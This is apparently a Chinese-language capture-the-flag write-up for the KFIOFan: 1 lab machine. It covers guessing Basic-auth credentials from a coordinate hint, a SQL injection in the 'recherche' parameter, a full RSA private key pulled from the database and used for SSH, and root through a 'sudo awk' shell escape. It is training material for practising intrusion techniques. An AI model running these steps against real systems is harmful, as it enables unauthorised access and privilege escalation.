CTF KFIOFan: 1

靶机地址

扫出来一个 80 端口

image-20250503163122470

访问网站需要 basic 认证,但好消息是,点击取消以后有回显,回显如下:

1
2
Laisse moi deviner Bob, tu as encore perdu ton mot de passe ? LOL
让我猜猜,鲍勃,你又忘记密码了?哈哈

注意:这个靶机用的语言是法语,不是英语

那么猜测用户名是 Bob ,准备爆破密码的时候发现返回包有一个特别的字段,应该和密码有关

image-20250503163145934

1
WWW-Authenticate: Basic realm="47.883333 -0.816667"

通过经纬度搜到一个地名——珀通(Peuton),然后成功通过 Bob:Peuton 登录进入系统

这里每次重启之后,经纬度都会变化,然后需要找到对应的法语地名(直接更改 Google 语言设置就好)

dirsearch 扫出来一个 robots.txt 一个 README.md 一个 db

image-20250503164332735

robots.txt 里拿到了第一个 flag,而 dbREADME.md 没什么用

FLAG 1 : Bravo tu as trouvé le premier flag ! (Oui je sais tu espérais un indice mais au moins tu as les bons reflexes !)
旗帜 1:恭喜,您找到了第一面旗帜! (是的,我知道您希望得到线索,但至少您的反应正确!)

然后发现在 khaosearch.php 界面的 recherche 参数存在 SQL 注入

然后查出当前数据库是 blog ,数据库用户是 user_blog,数据库版本是 10.1.26-MariaDB-0+deb9u1 ,数据库数据存放路径是 /var/lib/mysql/ ,表名如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dc_blog
dc_category
dc_comment
dc_link
dc_log
dc_media
dc_meta
dc_permissions
dc_ping
dc_post
dc_post_media
dc_pref
dc_session
dc_setting
dc_spamrule
dc_user
dc_version
ssh_keys
videos

Flag 2 在 dc_post 表中的 post_content_xhtml 字段

image-20250503164349134

FLAG 2 : Et oui, il faut toujours ben étudier les pages. Même si ça peut paraitre fastidieux !
旗帜 2:是的,您必须始终仔细研究这些页面。即使它看起来很乏味!

然后拿到了 alice 的私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAylRXBOzEZAAw/8cHjJaM+0HQYCxXr6xCD1A3WxcWtOobtLWu
ZNLtcQGLH3hIlgi1bljnomhUXQJlnd71O/7iTJ/YBx2M9oA1vVo4xQBtZT8PdCxR
0qvbjpZvCcgSTgZI5mqjppB0ypu11yUzg4NZAv31TcG6p8fnomeQlC0k0VLY5rJW
8XzTKcmkyDKUE1DuFEVypiJYnPgtdjzcq9wz/IU/VQ2k+GZSO+LGn/Mm22rerNnr
1DFDCXc1gkDoWdaYvU9F4UAsgO/fVZCplOVdhd/L8PvkmIvtUlrhCnuaas0HboRt
b06e25DkSDHS9jrANJPXhobPg8RLVLgBsYUHwQIDAQABAoIBAQC2oTJ7C4yqB1Iz
TmAOEsbm9R018lCkDYUDdZDB9DFW1Ap2L5hfAdW5r374xQYgB3RdSnqrKikcW1GG
Ev6hTQzPxWil45Kd3lSjupCLojscrLMyVd71npLsPfW0ipebPikHczKM4s/JIowc
y0OYbjMmdD28FiZ51APNoFXsqmMVXWvXeCa28MPQTR7tVWdPv8f0CfGODCMepUdL
nJulkOmx2zh24/yOBAbJ823SLtuHqutT3BTMI8Dmes8vIQOm5EQnyXn0ch7GnVkK
cwQVQtE6cfl6NEpctkYmGY9SDurFH8pLtjaEUW7urF1Tmftt1aw5os7gruEzuYEv
GA7MONqRAoGBAOktgZmDIei1ql+Qrnk65W2euePjHQ+DMk/rsiNJqdJbsa+UoBnn
/AbobCgjlH53BcPvWvafiFBnJ0B4DjLVQEWr3dQTpmXP6W2SsYYXD0O+CEreDxsY
FTHNFuy1v6yx4/T0QLWe2hE9GPxspnHOBWPLVVQOXcOB9rUZeA3/771TAoGBAN4h
5kv79FvHU/uwokGh6gXna6XsPwKIS+yY4AgnGPS3z3LwPJM+QACFL5REDo5mEDyw
09Oj7WM+ia3r2j35bmBy25DMHJeoF7RAHERln8m3Nc9vrrXeJMYYcA34ECgBZPI7
HWanPXDdysCL3mc71VmTQpi2Dcrkan/hpaQVQbAbAoGBALEdc7ebN4J/mu4EA8Lp
zaM6UZCbzlMeIHU8Xo8XQPsb0xe/GO0UnQbSPHUwsXZuCd8OTFXQT8Zi1BnQF1jd
SnihV1njoxzqlDA6oMVtdpbKHZpgmbDG1jKBycv7MaCHbtN9RDmwc4tskTILhVIk
X0uyAxpZ3zbF3RMqSVq48O0pAoGAZFgB9Y8ymocXrBnloipnUhVxbnmjGRzC13VT
trsaremev7hAVO+I7/M6RAreXHtEmHX0qqVhpjRo83UYmGhl8RHRl75sqCGZ26Ye
XtNddDzcBQHZdXSNPiNp8xV9DuVaWYZUyLuBqMu4PHSymgXQYe+A5QVQg7fdWDlx
nwavLsMCgYEAxRhr6WXziigYvxTzU8VwizJ1e79ww0LHd9vKtVljX7+1z/GCdiJt
rv/Offi1RTQXmKbX1tSSaZMJRfotCfWpwyWda3y4Lo3GSxflZszBWSuS80N4Y4Nx
3q+yELsSgqzMXhzo5vZeqTr/+7jKHWIMDoUZwO47wnDdLRJfpBb1d+g=
-----END RSA PRIVATE KEY-----

每次重启之后alice 的私钥也会变化

将私钥写入文件 1 ,然后设置权限并 ssh 连接,然后在当前目录下拿到 flag3

1
2
3
4
chmod 600 1
ssh -i 1 [email protected]
ls
cat flag3.txt

FLAG 3 : Bravo pour être arrivé jusqu’ici. Cela montre que tu maitrises très bien les notions essentielles ! Un dernier petit effort et le root est à toi !
旗帜 3:恭喜您取得如此大的进步。这表明您已经很好地掌握了基本概念!只需最后一点努力,根就属于你了!

信息搜集准备提权,这里直接使用 awk 提权,最后在 /root 目录下找到最后一个 flag

1
2
3
sudo -l
sudo awk 'BEGIN {system("/bin/bash")}'
cat ~/flag4.txt

image-20250503164407048

FLAG 4 : TERMINE ! Un grand bravo à toi pour être arrivé jusqu’ici : la machine est à toi, sa survie ou sa destruction repose désormais entièrement sur ton éthique. Bonne continuation Hacker !
旗帜 4:完成!祝贺您取得了如此大的成就:这台机器是您的,它的生存或毁灭现在完全取决于您的道德。祝黑客好运!